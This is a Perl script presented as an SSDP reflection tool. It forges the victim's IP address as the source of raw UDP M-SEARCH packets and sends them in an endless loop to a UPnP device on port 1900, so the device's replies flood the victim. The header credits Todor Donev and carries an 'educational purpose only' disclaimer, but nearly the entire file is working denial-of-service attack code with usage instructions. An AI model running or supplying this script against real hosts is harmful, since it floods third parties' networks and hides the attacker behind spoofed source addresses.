#!/usr/bin/perl
#
# upnpd M-SEARCH ssdp:discover reflection
#
# Copyright 2015 (c) Todor Donev
# todor.donev@gmail.com
# http://www.ethical-hacker.org/
# https://www.facebook.com/ethicalhackerorg
#
# The SSDP protocol can discover Plug & Play devices,
# with uPnP (Universal Plug and Play). SSDP is HTTP
# like protocol and work with NOTIFY and M-SEARCH
# methods.
#
#
# Disclaimer:
# This or previous program is for Educational
# purpose ONLY. Do not use it without permission.
# The usual disclaimer applies, especially the
# fact that Todor Donev is not liable for any
# damages caused by direct or indirect use of the
# information or functionality provided by these
# programs. The author or any Internet provider
# bears NO responsibility for content or misuse
# of these programs or any derivatives thereof.
# By using these programs you accept the fact
# that any damage (dataloss, system crash,
# system compromise, etc.) caused by the use
# of these programs is not Todor Donev's
# responsibility.
#
# Use at your own risk and educational
# purpose ONLY!
#
# Wireshark:
# udp.port eq 1900 || frame contains "HTTP/1.1 200 OK"
#
# See also:
# SSDP Reflection DDoS Attacks
# http://tinyurl.com/mqwj6xt
#
use Socket;
if ( $< != 0 ) {
print "Sorry, must be run as root!\n";
print "This script use RAW Socket.\n";
exit;
}
my $ssdp = (gethostbyname($ARGV[0]))[4]; # IP Address Source (32 bits)
my $victim = (gethostbyname($ARGV[1]))[4]; # IP Address Source (32 bits)
print "[ upnpd M-SEARCH ssdp:discover reflection ]\n";
if (!defined $ssdp || !defined $victim) {
print "[ Usage: $0 <upnpd> <victim>\n";
print "[ <todor.donev\@gmail.com> Todor Donev ]\n";
exit;
}
print "[ Sending SSDP packets: $ARGV[0] -> $ARGV[1]\n";
socket(RAW, PF_INET, SOCK_RAW, 255) or die $!;
setsockopt(RAW, 0, 1, 1) or die $!;
main();
# Main program
sub main {
my $packet;
$packet = iphdr();
$packet .= udphdr();
$packet .= payload();
# b000000m...
send_packet($packet);
}
# IP header (Layer 3)
sub iphdr {
my $ip_ver = 4; # IP Version 4 (4 bits)
my $iphdr_len = 5; # IP Header Length (4 bits)
my $ip_tos = 0; # Differentiated Services (8 bits)
my $ip_total_len = $iphdr_len + 20; # IP Header Length + Data (16 bits)
my $ip_frag_id = 0; # Identification Field (16 bits)
my $ip_frag_flag = 000; # IP Frag Flags (R DF MF) (3 bits)
my $ip_frag_offset = 0000000000000; # IP Fragment Offset (13 bits)
my $ip_ttl = 255; # IP TTL (8 bits)
my $ip_proto = 17; # IP Protocol (8 bits)
my $ip_checksum = 0; # IP Checksum (16 bits)
# IP Packet construction
my $iphdr = pack(
'H2 H2 n n B16 h2 c n a4 a4',
$ip_ver . $iphdr_len, $ip_tos, $ip_total_len,
$ip_frag_id, $ip_frag_flag . $ip_frag_offset,
$ip_ttl, $ip_proto, $ip_checksum,
$victim, $ssdp
);
return $iphdr;
}
# UDP header (Layer 4)
sub udphdr {
my $udp_src_port = 31337; # UDP Sort Port (16 bits) (0-65535)
my $udp_dst_port = 1900; # UDP Dest Port (16 btis) (0-65535)
my $udp_len = 8 + length(payload()); # UDP Length (16 bits) (0-65535)
my $udp_checksum = 0; # UDP Checksum (16 bits) (XOR of header)
# UDP Packet
my $udphdr = pack(
'n n n n',
$udp_src_port, $udp_dst_port,
$udp_len, $udp_checksum
);
return $udphdr;
}
# SSDP HTTP like (Layer 7)
sub payload {
my $data;
$data .= "M-SEARCH * HTTP\/1.1\r\n";
# $data .= "HOST:239.255.255.250:1900\r\n"; # Multicast address
$data .= "ST:upnp:rootdevice\r\n"; # Search target, search for root devices only
$data .= "MAN:\"ssdp:discover\"\r\n";
# $data .= "MX:3\r\n\r\n"; # Seconds to delay response
my $payload = pack('a' . length($data), $data);
return $payload;
}
sub send_packet {
while(1){
select(undef, undef, undef, 0.10); # Sleeping 100 milliseconds
send(RAW, $_[0], 0, pack('Sna4x8', PF_INET, 60, $ssdp)) or die $!;
}
}
